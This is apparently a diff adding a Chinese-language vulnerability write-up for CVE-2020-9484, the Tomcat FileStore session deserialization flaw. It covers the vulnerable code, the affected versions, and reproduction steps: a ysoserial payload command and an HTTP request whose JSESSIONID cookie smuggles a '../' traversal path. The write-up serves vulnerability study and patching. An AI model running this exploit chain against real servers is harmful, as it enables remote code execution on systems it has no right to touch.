|
| 1 | +### CVE-2020-9484 |
| 2 | + |
| 3 | +当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,恶意请求者通过一个流程,利用目录穿越,将能发起一个恶意请求造成服务端远程命令执行。 |
| 4 | + |
| 5 | +### 漏洞详情 |
| 6 | + |
| 7 | +当用户在使用tomcat时,启用了session持久化功能FileStore,例(conf/context.xml): |
| 8 | + |
| 9 | +``` |
| 10 | +<Context> |
| 11 | + |
| 12 | + ... |
| 13 | +
|
| 14 | + <Manager className="org.apache.catalina.session.PersistentManager" |
| 15 | + debug="0" |
| 16 | + saveOnRestart="false" |
| 17 | + maxActiveSession="-1" |
| 18 | + minIdleSwap="-1" |
| 19 | + maxIdleSwap="-1" |
| 20 | + maxIdleBackup="-1"> |
| 21 | + <Store className="org.apache.catalina.session.FileStore" directory="./session" /> |
| 22 | + </Manager> |
| 23 | +</Context> |
| 24 | +``` |
| 25 | +在使用了上述功能的情况下,如果恶意用户可以上传指定后缀(.session)的文件时,利用反序列化gadget,将能造成服务端远程代码执行,原因在于FileStore类读取文件时,使用了JSESSIONID的名称,没有过滤“/../”这样的目录穿越: |
| 26 | + |
| 27 | +org.apache.catalina.session.FileStore: |
| 28 | +``` |
| 29 | +public Session load(String id) throws ClassNotFoundException, IOException { |
| 30 | + // Open an input stream to the specified pathname, if any |
| 31 | + File file = file(id); |
| 32 | + if (file == null || !file.exists()) { |
| 33 | + return null; |
| 34 | + } |
| 35 | +
|
| 36 | + Context context = getManager().getContext(); |
| 37 | + Log contextLog = context.getLogger(); |
| 38 | +
|
| 39 | + if (contextLog.isDebugEnabled()) { |
| 40 | + contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath())); |
| 41 | + } |
| 42 | +
|
| 43 | + ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null); |
| 44 | +
|
| 45 | + try (FileInputStream fis = new FileInputStream(file.getAbsolutePath()); |
| 46 | + ObjectInputStream ois = getObjectInputStream(fis)) { |
| 47 | +
|
| 48 | + StandardSession session = (StandardSession) manager.createEmptySession(); |
| 49 | + session.readObjectData(ois); |
| 50 | + session.setManager(manager); |
| 51 | + return session; |
| 52 | + } catch (FileNotFoundException e) { |
| 53 | + if (contextLog.isDebugEnabled()) { |
| 54 | + contextLog.debug("No persisted data file found"); |
| 55 | + } |
| 56 | + return null; |
| 57 | + } finally { |
| 58 | + context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL); |
| 59 | + } |
| 60 | +} |
| 61 | +
|
| 62 | +private File file(String id) throws IOException { |
| 63 | + if (this.directory == null) { |
| 64 | + return null; |
| 65 | + } |
| 66 | + String filename = id + FILE_EXT; |
| 67 | + File file = new File(directory(), filename); |
| 68 | + return file; |
| 69 | +} |
| 70 | +``` |
| 71 | +上述代码,通过构造“/../”的filename路径,将能穿越到任意目录去读取后缀为“.session”的序列化数据进行反序列化。 |
| 72 | + |
| 73 | +### 影响版本 |
| 74 | + |
| 75 | +``` |
| 76 | +<= 9.0.34 |
| 77 | +<= 8.5.54 |
| 78 | +<= 7.0.103 |
| 79 | +``` |
| 80 | + |
| 81 | +### 漏洞复现 |
| 82 | + |
| 83 | +配置tomcat的conf/context.xml文件: |
| 84 | + |
| 85 | +``` |
| 86 | +<Context> |
| 87 | + |
| 88 | + ... |
| 89 | +
|
| 90 | + <Manager className="org.apache.catalina.session.PersistentManager" |
| 91 | + debug="0" |
| 92 | + saveOnRestart="false" |
| 93 | + maxActiveSession="-1" |
| 94 | + minIdleSwap="-1" |
| 95 | + maxIdleSwap="-1" |
| 96 | + maxIdleBackup="-1"> |
| 97 | + <Store className="org.apache.catalina.session.FileStore" directory="./session" /> |
| 98 | + </Manager> |
| 99 | +</Context> |
| 100 | +``` |
| 101 | + |
| 102 | +部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例bug.war)到tomcat: |
| 103 | + |
| 104 | +``` |
| 105 | +dependencies { |
| 106 | + compile 'org.apache.commons:commons-collections4:4.0' |
| 107 | +} |
| 108 | +``` |
| 109 | + |
| 110 | +使用github上的ysoserial工具->```https://github.com/frohoff/ysoserial```,生成commons-collections4依赖的gadget恶意序列化数据: |
| 111 | + |
| 112 | +``` |
| 113 | +java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/tomcat-bug" > /tmp/22222.session |
| 114 | +``` |
| 115 | + |
| 116 | +通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录,但后缀必须是“.session”,例如:/tmp/22222.session |
| 117 | + |
| 118 | +最后,发起恶意请求,请求payload: |
| 119 | + |
| 120 | +``` |
| 121 | +GET /bug/api HTTP/1.1 |
| 122 | +Host: 127.0.0.1:8080 |
| 123 | +Cookie: JSESSIONID=../../../../../../../../../../../../tmp/22222 |
| 124 | +
|
| 125 | +
|
| 126 | +``` |
| 127 | +将会导致服务端远程代码执行 |
0 commit comments